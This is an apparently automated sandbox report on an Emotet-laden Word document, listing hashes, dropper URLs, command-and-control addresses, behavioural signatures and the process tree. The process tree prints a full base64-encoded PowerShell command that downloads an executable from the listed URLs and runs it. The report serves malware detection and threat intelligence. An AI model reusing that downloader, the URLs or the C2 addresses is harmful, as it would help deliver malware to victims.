Analysis
- max time kernel
135s - max time network
146s - platform
windows10_x64 - resource
win10v200722 - submitted
10/08/2020, 15:02
Static task
static1
Behavioral task
behavioral1
Sample
REP_FB9700111348EB.doc
Resource
win7
General
- Target REP_FB9700111348EB.doc
- Size 229KB
- Sample200810-bc9dghtees
- SHA256 ba8a55e6d45475b84108295af3222045dbda0e098d4525c9b63f2dd93f6f2d8d
- MD5 b320c9399983a1aeab93357c29f514a2
- SHA1 85def86e0de8fe174f81addc0db5ed8547f6de46
- SHA512 c8d86e346a482c0cccfbe1dce8f567f1fd0ed78d06ebdfbc1622aabe68c92403ff7e32a547be64c203c22c3e18a38c3b05460f03657a37c4d916b02c640dc14d
- MD5 SHA1 SHA512
Malware Config
Extracted
-
ps1
-
exe.dropper
http://andreortega.com/erros/nt_ozq2y_k6s88xxcau/
-
exe.dropper
http://tony.blvrdev.com/admin/mt2f7_7pd0u_1bhbba/
-
exe.dropper
http://zerohungerapp.com/kzbst/p_3_lqo8eaj/
-
exe.dropper
http://tool.myportalx.com/cgi-bin/b_1_b5ce/
-
exe.dropper
http://illhaqsteeleng.com/ghp3wu/27yja_wwgc8_570/
Extracted
-
emotet
-
74.120.55.163:80
-
176.10.250.88:8080
-
96.8.113.4:8080
-
137.59.187.107:8080
-
74.208.45.104:8080
-
104.131.11.150:443
-
110.145.77.103:80
-
87.106.136.232:8080
-
114.146.222.200:80
-
37.187.72.193:8080
-
181.230.116.163:80
-
70.167.215.250:8080
-
103.86.49.11:8080
-
201.173.217.124:443
-
109.74.5.95:8080
-
95.213.236.64:8080
-
5.39.91.110:7080
-
78.24.219.147:8080
-
81.2.235.111:8080
-
183.101.175.193:80
-
85.152.162.105:80
-
139.59.60.244:8080
-
47.146.117.214:80
-
104.131.44.150:8080
-
72.12.127.184:443
-
200.41.121.90:80
-
41.60.200.34:80
-
61.19.246.238:443
-
139.130.242.43:80
-
113.160.130.116:8443
-
76.27.179.47:80
-
190.55.181.54:443
-
176.111.60.55:8080
-
46.105.131.79:8080
-
93.51.50.171:8080
-
121.124.124.40:7080
-
62.75.141.82:80
-
24.43.99.75:80
-
204.197.146.48:80
-
157.245.99.39:8080
-
104.236.246.93:8080
-
47.144.21.12:443
-
203.153.216.189:7080
-
142.105.151.124:443
-
153.126.210.205:7080
-
185.94.252.104:443
-
209.141.54.221:8080
-
162.241.92.219:8080
-
222.214.218.37:4143
-
119.198.40.179:80
-
24.179.13.119:80
-
157.147.76.151:80
-
50.116.86.205:8080
-
83.110.223.58:443
-
152.168.248.128:443
-
79.98.24.39:8080
-
165.165.171.160:8080
-
47.153.182.47:80
-
168.235.67.138:7080
-
5.196.74.210:8080
-
180.92.239.110:8080
-
189.212.199.126:443
-
47.146.32.175:80
-
91.211.88.52:7080
-
62.138.26.28:8080
-
209.182.216.177:443
-
169.239.182.217:8080
-
190.160.53.126:80
-
95.179.229.244:8080
-
181.211.11.242:80
-
37.139.21.175:8080
-
87.106.139.101:8080
-
116.203.32.252:8080
-
200.55.243.138:8080
Signatures
- Executes dropped EXE 2 IoCs
pid Process 3512 316.exe 3736 Windows.Media.Playback.ProxyStub.exe - Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 3512 wrote to memory of 3736 3512 316.exe 74 PID 3512 wrote to memory of 3736 3512 316.exe 74 PID 3512 wrote to memory of 3736 3512 316.exe 74 - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\srclient\Windows.Media.Playback.ProxyStub.exe 316.exe - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Suspicious use of SetWindowsHookEx 13 IoCs
pid Process 916 WINWORD.EXE 916 WINWORD.EXE 916 WINWORD.EXE 916 WINWORD.EXE 916 WINWORD.EXE 916 WINWORD.EXE 916 WINWORD.EXE 916 WINWORD.EXE 916 WINWORD.EXE 3512 316.exe 3512 316.exe 3736 Windows.Media.Playback.ProxyStub.exe 3736 Windows.Media.Playback.ProxyStub.exe - Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2324 1260 powersheLL.exe 66 - Suspicious behavior: EnumeratesProcesses 9 IoCs
pid Process 2324 powersheLL.exe 2324 powersheLL.exe 2324 powersheLL.exe 3736 Windows.Media.Playback.ProxyStub.exe 3736 Windows.Media.Playback.ProxyStub.exe 3736 Windows.Media.Playback.ProxyStub.exe 3736 Windows.Media.Playback.ProxyStub.exe 3736 Windows.Media.Playback.ProxyStub.exe 3736 Windows.Media.Playback.ProxyStub.exe - Blacklisted process makes network request 3 IoCs
flow pid Process 8 2324 powersheLL.exe 14 2324 powersheLL.exe 17 2324 powersheLL.exe - Emotet Payload 4 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/3512-12-0x0000000002230000-0x000000000223C000-memory.dmp emotet behavioral2/memory/3512-12-0x0000000002230000-0x000000000223C000-memory.dmp emotet behavioral2/memory/3736-16-0x00000000005D0000-0x00000000005DC000-memory.dmp emotet behavioral2/memory/3736-16-0x00000000005D0000-0x00000000005DC000-memory.dmp emotet - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 916 WINWORD.EXE 916 WINWORD.EXE - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2324 powersheLL.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\REP_FB9700111348EB.doc" /o ""1⤵
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
- Checks processor information in registry
- Suspicious behavior: AddClipboardFormatListener
PID:916
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C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABOAFkAUABLAFYAZQBrAHUAPQAnAEUASwBWAEcARQBlAG0AcwAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGAARQBjAHUAYABSAGkAdABZAFAAYABSAG8AdABvAGAAQwBPAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABQAEIATwBIAEsAbQBnAHIAIAA9ACAAJwAzADEANgAnADsAJABVAFQAQQBEAEkAbABwAG0APQAnAEQASQBIAFkARgBrAGgAegAnADsAJABKAEEAVABGAFYAdQBkAGkAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFAAQgBPAEgASwBtAGcAcgArACcALgBlAHgAZQAnADsAJABZAEUATwBVAEIAagB6AHkAPQAnAEoAWABLAFYAUgBkAGQAeAAnADsAJABPAFMAUQBBAEMAbwBiAGkAPQAmACgAJwBuAGUAJwArACcAdwAtAG8AYgBqACcAKwAnAGUAYwB0ACcAKQAgAE4ARQB0AC4AdwBFAGIAYwBsAEkARQBuAHQAOwAkAFoATwBWAEgAUgBpAGYAbwA9ACcAaAB0AHQAcAA6AC8ALwBhAG4AZAByAGUAbwByAHQAZQBnAGEALgBjAG8AbQAvAGUAcgByAG8AcwAvAG4AdABfAG8AegBxADIAeQBfAGsANgBzADgAOAB4AHgAYwBhAHUALwAqAGgAdAB0AHAAOgAvAC8AdABvAG4AeQAuAGIAbAB2AHIAZABlAHYALgBjAG8AbQAvAGEAZABtAGkAbgAvAG0AdAAyAGYANwBfADcAcABkADAAdQBfADEAYgBoAGIAYgBhAC8AKgBoAHQAdABwADoALwAvAHoAZQByAG8AaAB1AG4AZwBlAHIAYQBwAHAALgBjAG8AbQAvAGsAegBiAHMAdAAvAHAAXwAzAF8AbABxAG8AOABlAGEAagAvACoAaAB0AHQAcAA6AC8ALwB0AG8AbwBsAC4AbQB5AHAAbwByAHQAYQBsAHgALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBiAF8AMQBfAGIANQBjAGUALwAqAGgAdAB0AHAAOgAvAC8AaQBsAGwAaABhAHEAcwB0AGUAZQBsAGUAbgBnAC4AYwBvAG0ALwBnAGgAcAAzAHcAdQAvADIANwB5AGoAYQBfAHcAdwBnAGMAOABfADUANwAwAC8AJwAuACIAUwBwAGwAYABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABNAFYASABZAEYAcgB1AHEAPQAnAFgATABQAFcAVwBmAGEAdAAnADsAZgBvAHIAZQBhAGMAaAAoACQATABTAFQARQBYAGoAdgB5ACAAaQBuACAAJABaAE8AVgBIAFIAaQBmAG8AKQB7AHQAcgB5AHsAJABPAFMAUQBBAEMAbwBiAGkALgAiAEQAYABvAHcATgBgAEwAYABPAGEARABGAGkATABlACIAKAAkAEwAUwBUAEUAWABqAHYAeQAsACAAJABKAEEAVABGAFYAdQBkAGkAKQA7ACQATgBaAFIAUgBFAGoAawBnAD0AJwBGAEgAUgBEAFUAaQBlAHYAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAnACsAJwAtAEkAdABlACcAKwAnAG0AJwApACAAJABKAEEAVABGAFYAdQBkAGkAKQAuACIATABlAGAATgBHAHQAaAAiACAALQBnAGUAIAAyADMAMQA4ADcAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAGMAUgBlAGEAYABUAEUAIgAoACQASgBBAFQARgBWAHUAZABpACkAOwAkAFoAWgBYAEEASwBoAGIAbQA9ACcATQBBAEYAVgBYAGEAcQB5ACcAOwBiAHIAZQBhAGsAOwAkAFUAUQBYAE8AWQBjAG8AaQA9ACcAVQBSAEgAUwBCAGEAdgB1ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFEAWQBIAEsAQwB3AHkAdQA9ACcAQQBNAFQAQwBEAGoAcABhACcA1⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
- Suspicious use of AdjustPrivilegeToken
PID:2324
-
C:\Users\Admin\316.exeC:\Users\Admin\316.exe1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
PID:3512 -
C:\Windows\SysWOW64\srclient\Windows.Media.Playback.ProxyStub.exe"C:\Windows\SysWOW64\srclient\Windows.Media.Playback.ProxyStub.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: EnumeratesProcesses
PID:3736
-